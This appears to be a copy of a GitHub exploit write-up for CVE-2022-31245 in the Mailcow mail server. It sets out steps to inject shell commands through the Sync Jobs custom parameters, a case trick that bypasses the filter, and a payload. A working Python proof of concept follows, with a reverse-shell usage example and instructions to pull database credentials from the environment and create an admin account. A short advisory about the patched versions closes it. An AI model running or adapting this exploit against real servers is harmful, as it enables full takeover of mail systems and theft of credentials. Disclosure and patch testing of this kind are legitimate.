Headline
CVE-2022-31245: GitHub - ly1g3/Mailcow-CVE-2022-31245: CVE-2022-31245: RCE and domain admin privilege escalation for Mailcow
mailcow before 2022-05d allows a remote authenticated user to inject OS commands and escalate privileges to domain admin via the --debug option in conjunction with the —PIPEMESS option in Sync Jobs.
Mailcow CVE-2022-31245
CVE-2022-31245: RCE and Domain Admin privilege escalation for Mailcow. Including POC.
Patched Version: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245
CVE-2022-31245: Command Injection, RCE
Severity: 3/3
Type: Command Injection, RCE, Domain Takeover
Affected versions: least 2019 - 2022-05c
A flaw exists in all recent Mailcow versions where a regular user of the system can exploit the “Sync Job” feature to gain a shell using a command injection in imapsync. Using this vunerability a attacker can then easily pivot to the database and escalate privileges to the role of “Domain Admin” in Mailcow.
This exploit includes persistence by default since Sync Jobs run on a timer.
This exploit compromises the entire Mailcow instance. Tested and working on release as of 2022-05c. Patched in 2022-05d.
Technical overview
Using the steps below the vulnerability can be recreated.
Gaining shell:
- Go to the Mailcow login page (not SOGo)
- Login as a regular user
- Go to Sync Jobs
- Set the following values: hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=–debug --nosslcheck --PIPEMESS=CMD Where the field “Custom Parameters” is the important field. CMD can be a arbitrary shell command without spaces. Using uppercase is important!
- Press save and wait 1 min for the command to execute.
Custom Parameters example payload:
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
CMD cannot contain space,quotes or slashes use ${IFS} instead of space. Uppercase for --PIPEMESS is important to bypass check in functions.mailbox.inc.php at line 340:
if (strpos($custom_params, ‘pipemess’)) { $custom_params = '’; }
This uppercase command still works due to the fact that imapsync is case insensitive.
Privilege Escalation:
- After gaining shell on the dovcot container run env
- Find DBUSER and DBPASS
- Login to database using mysql and credentials
- Create new admin user or create a new admin API-key
Proof-of-Concept, POC
Automated POC. POC could in some cases need modification to run against non-local Mailcow instances.
#!/bin/python3
description = “"” Mailcow authenticated RCE. Only for educational purposes!! By: ly1g3[at]tuta.io This exploit can be used to get mailcow domain admin using mysql credentials found in “env” after getting shell. Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended. Example reverse shell use: --cmd ‘echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;’ where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell. Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd ‘echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;’ “"”
import requests import urllib import sys from urllib.parse import urlparse import argparse from argparse import RawTextHelpFormatter from datetime import datetime
parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter) parser.add_argument('–url’, help=’Url to the mailcow server’, required=True) parser.add_argument('–user’, help=’Mailcow username, example [email protected]’, required=True) parser.add_argument('–passwd’, help=’Mailcow user password’, required=True) parser.add_argument('–cmd’, help=’Command to execute’, required=True)
args = parser.parse_args()
base_url = args.url # hostname = urlparse(base_url).netloc hostname = ‘127.0.0.1’ user = args.user password = args.passwd cmd = args.cmd
# Get the required csrf token def find_csrf_token(text): try: start1 = text.index(“var csrf_token”) start2 = text.index("’", start1) end2 = text.index("’", start2+1) csrf_token = text[start2+1:end2] return csrf_token except: return “”
login_url = base_url + ‘/’
s = requests.Session()
# Login r1 = s.post(login_url, data={’login_user’: user, 'pass_user’: password}, verify=False)
token = find_csrf_token(r1.text) if not token: print(“Error no token found, login problems?”) sys.exit(0) print(f"CSRF token: {token}")
sync_url = base_url + ‘/api/v1/add/syncjob’
# Create sync job with command injection attr = f’{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"–debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}’ r2 = s.post(sync_url, data={’attr’: attr, 'csrf_token’: token}, verify=False)
c = r2.content if c.find(b"mailbox_modified") != -1: print(“Success, rule modified”) elif c.find(b"object_exists") != -1: print(“ERROR: Object exists, remove existing rule before running this”) print© sys.exit(0) else: print(“ERROR: Something went wrong”) print© now = datetime.now() current_time = now.strftime(“%H:%M:%S”) print(“Command may take 1min to execute…”) print(f"Done at: {current_time}")
Related news
mailcow is a mailserver suite. Prior to mailcow-dockerized version 2022-06a, an extended privilege vulnerability can be exploited by manipulating the custom parameters regexmess, skipmess, regexflag, delete2foldersonly, delete2foldersbutnot, regextrans2, pipemess, or maxlinelengthcmd to execute arbitrary code. Users should update their mailcow instances with the `update.sh` script in the mailcow root directory to 2022-06a or newer to receive a patch for this issue. As a temporary workaround, the Syncjob ACL can be removed from all mailbox users, preventing changes to those settings.